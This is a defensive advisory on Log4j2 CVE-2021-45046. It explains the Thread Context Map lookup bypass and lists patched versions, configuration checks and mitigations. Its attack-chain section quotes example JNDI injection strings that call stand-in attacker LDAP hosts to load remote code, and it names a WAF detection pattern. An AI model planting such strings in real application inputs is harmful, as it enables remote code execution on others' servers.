Critical Security Advisory: Addressing the Apache Log4j2 Incomplete Fix (CVE-2021-45046)
Apache Log4j2 contains a deserialization of untrusted data vulnerability due to the incomplete fix of CVE-2021-44228, where the Thread Context Lookup Pattern is vulnerable to remote code execution in certain non-default configurations.
FREQUENTLY ASKED
What is CVE-2021-45046 and why does it matter?
CVE-2021-45046 is a critical vulnerability in Apache Log4j2 with a CVSS score of 9.0. It occurs because the initial fix for CVE-2021-44228 was incomplete. Attackers can exploit this via the Thread Context Map to perform JNDI lookups, leading to information leaks and remote code execution. This is a high-priority risk known to be used by ransomware groups.
Which versions of Log4j2 are affected?
The vulnerability affects Apache Log4j2 versions where the previous fix in 2.15.0 was applied but proved insufficient in non-default configurations. Specifically, any deployment using a non-default Pattern Layout with Context Lookups or Thread Context Map patterns is at risk. Organizations should assume all versions prior to 2.16.0 (for Java 8) or 2.12.2 (for Java 7) require immediate updates.
Has a patch been released for CVE-2021-45046?
Yes, Apache has released official patches to address this issue. Log4j 2.16.0 (for Java 8 users) and Log4j 2.12.2 (for Java 7 users) resolve the vulnerability by completely removing support for message lookup patterns and disabling JNDI functionality by default. It is recommended to apply these updates immediately to mitigate the risk of remote or local code execution.
What is the remediation deadline and what does it mean for compliance?
The remediation deadline for CVE-2021-45046 is set for 2023-05-22. For organizations following CISA directives or internal compliance frameworks, this date represents the final threshold for patching to ensure security against active exploitation. Missing this deadline increases the risk of successful ransomware attacks and may lead to regulatory non-compliance in high-security environments.
How do I check if my deployment is affected by CVE-2021-45046?
To determine if an instance is affected, review your logging configuration for non-default Pattern Layouts. Specifically, look for Context Lookups like $${ctx:loginId} or Thread Context Map patterns such as %X, %mdc, or %MDC. If these patterns are present and the Log4j2 version is below 2.16.0 or 2.12.2, the deployment is vulnerable to malicious JNDI lookup patterns.
CVE-2021-45046 represents a critical evolution in the Log4Shell crisis, affecting the ubiquitous Apache Log4j2 library. This vulnerability, classified under CWE-917 (Expression Language Injection), carries a CVSS score of 9.0 and is characterized by its high exploitation potential and severe impact. Due to an incomplete fix in the preceding CVE-2021-44228, certain non-default configurations remain susceptible to remote code execution (RCE) and local code execution (LCE) via JNDI lookup patterns. With a remediation deadline of 2023-05-22, organizations must prioritize patching to defend against active exploitation, including known use by ransomware actors.
Vulnerability Profile
Field
Value
CVE ID
CVE-2021-45046
Affected Product & Versions
Apache Log4j2
CVSS Score & Severity
9.0 (CRITICAL)
CVSS Version
3.1
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
CWE IDs
CWE-917
Date Disclosed
2023-05-01
Remediation Deadline
2023-05-22
SSVC Exploitation status
active
Known Ransomware Use
Known
EPSS Score & Percentile
0.9434 (100.0%)
Patch Available
Yes
Technical Deep Dive: Analyzing Expression Language Injection in Log4j2
Understanding CWE-917 and JNDI Injections
At the core of CVE-2021-45046 is CWE-917, or Improper Neutralization of Special Elements used in an Expression Language Statement. In the context of Log4j2, this manifests through the library's support for Lookups—a mechanism designed to add dynamic values to log entries. While Lookups are intended to provide flexibility, such as including environment variables or system properties in logs, they can be abused if the input is not strictly validated.
The Java Naming and Directory Interface (JNDI) is a Java API that allows applications to discover and look up data and objects via different naming and directory services. When Log4j2 processes a string like ${jndi:ldap://attacker.com/a}, it attempts to resolve this expression. If the resolution leads to an external LDAP server controlled by a threat actor, the application may download and execute a malicious Java class, leading to Remote Code Execution.
The Failure of the Initial Fix
When CVE-2021-44228 was first identified, the initial fix in Log4j 2.15.0 attempted to restrict JNDI lookups by limiting them to a list of allowed protocols and hosts (defaulting to localhost). However, this fix was incomplete. It did not account for scenarios where an attacker could influence the Thread Context Map (MDC) data.
The Thread Context Map is a way for developers to store diagnostic data that is automatically included in logs. If a logging configuration uses a non-default Pattern Layout—specifically those utilizing Context Lookups (e.g., $${ctx:loginId}) or Thread Context Map patterns (e.g., %X, %mdc)—an attacker who can control the input to these fields can bypass the earlier restrictions. By crafting a malicious JNDI lookup within the MDC data, the attacker forces the logging engine to evaluate the expression, potentially bypassing the protections implemented in version 2.15.0.
The Mechanics of the Attack Chain
Input Vector: The attacker identifies an application endpoint that populates the Thread Context Map (MDC). This often includes headers, login IDs, or session attributes that are logged.
Payload Injection: The attacker sends a request containing a malicious JNDI string (e.g., ${jndi:ldap://[attacker_ip]/Exploit}) into the field that populates the MDC.
Log Processing: When the application logs an event using a Pattern Layout that references the MDC (like %X{user}), Log4j2 attempts to resolve the embedded lookup.
Bypass and Execution: Because the engine incorrectly handles the recursive evaluation of these expressions in certain configurations, it triggers the JNDI lookup. This leads to an information leak in some environments and full code execution in others.
Impact Assessment: Who Is Affected by CVE-2021-45046?
Organizations utilizing Apache Log4j2 in their Java applications are primarily at risk. The vulnerability is particularly dangerous because Log4j2 is often deeply embedded in enterprise software, middleware, and cloud infrastructure.
The blast radius for this vulnerability is extensive. While the CVSS attack complexity is rated as 'HIGH' because it requires specific non-default configurations (the use of MDC patterns in layouts), the impact is 'TOTAL.' Successful exploitation can lead to a complete compromise of the system's confidentiality, integrity, and availability.
Furthermore, the EPSS score of 0.9434 places this vulnerability in the 100th percentile of risk, reflecting the reality that it is actively being scanned for and exploited in the wild. The known use by ransomware groups underscores the urgency; once a footprint is established via RCE, threat actors typically move laterally to encrypt sensitive data.
Compliance is another critical factor. Under directives like CISA BOD 22-01, federal agencies and associated contractors are mandated to remediate known exploited vulnerabilities. The remediation deadline of 2023-05-22 serves as a vital benchmark for all security teams to ensure their environments are secured against this specific vector.
Official Remediation and Patching Procedures
To effectively mitigate CVE-2021-45046, organizations must move beyond the stop-gap measures used for the original Log4Shell vulnerability and apply the following updates:
Update to Log4j 2.16.0 (Java 8): For applications running on Java 8 or higher, upgrade to version 2.16.0. This version fixes the issue by completely removing support for message lookup patterns and disabling JNDI functionality by default.
Update to Log4j 2.12.2 (Java 7): For legacy applications running on Java 7, upgrade to version 2.12.2. This provides the same security enhancements as version 2.16.0 for the older Java runtime.
Review Logging Configurations: Audit all log4j2.xml (or equivalent) configuration files. Identify the use of %X, %mdc, or %MDC patterns. Even if upgrading, understanding where these patterns were used helps identify potential historical exposure.
Remove the JndiLookup Class: If immediate patching is impossible, a temporary (though less preferred) mitigation is to manually remove the JndiLookup.class from the log4j-core jar file. This prevents the library from being able to perform the dangerous lookups entirely.
Beyond patching Log4j2, organizations should adopt the following defensive strategies to protect against Expression Language Injection and similar deserialization risks:
Egress Filtering: Implement strict outbound firewall rules. Prevent internal servers from initiating connections to external LDAP, RMI, or DNS servers unless explicitly required for business operations. This breaks the callback mechanism required for most JNDI exploits.
Principle of Least Privilege: Ensure that the Java runtime environment (JRE) is running under a low-privilege service account. This limits the 'blast radius' if code execution is achieved, preventing the attacker from easily escalating privileges or accessing the underlying OS.
Disable JNDI Where Unnecessary: If your application does not require JNDI lookups, ensure they are disabled at the system level. In modern versions of Log4j2, this is the default, but it should be verified globally.
Implement Software Bill of Materials (SBOM): Maintain a comprehensive SBOM to quickly identify which applications and third-party dependencies utilize vulnerable versions of libraries like Log4j2.
Web Application Firewall (WAF) Tuning: Utilize WAF rules to detect and block common JNDI injection patterns (e.g., ${jndi:) in incoming requests. Note that obfuscation can sometimes bypass simple regex-based rules, so this should be part of a layered defense.
Input Sanitization for Logs: Treat all data being logged as untrusted. Ensure that user-controlled input is sanitized or encoded before being passed to logging functions, especially when using dynamic patterns.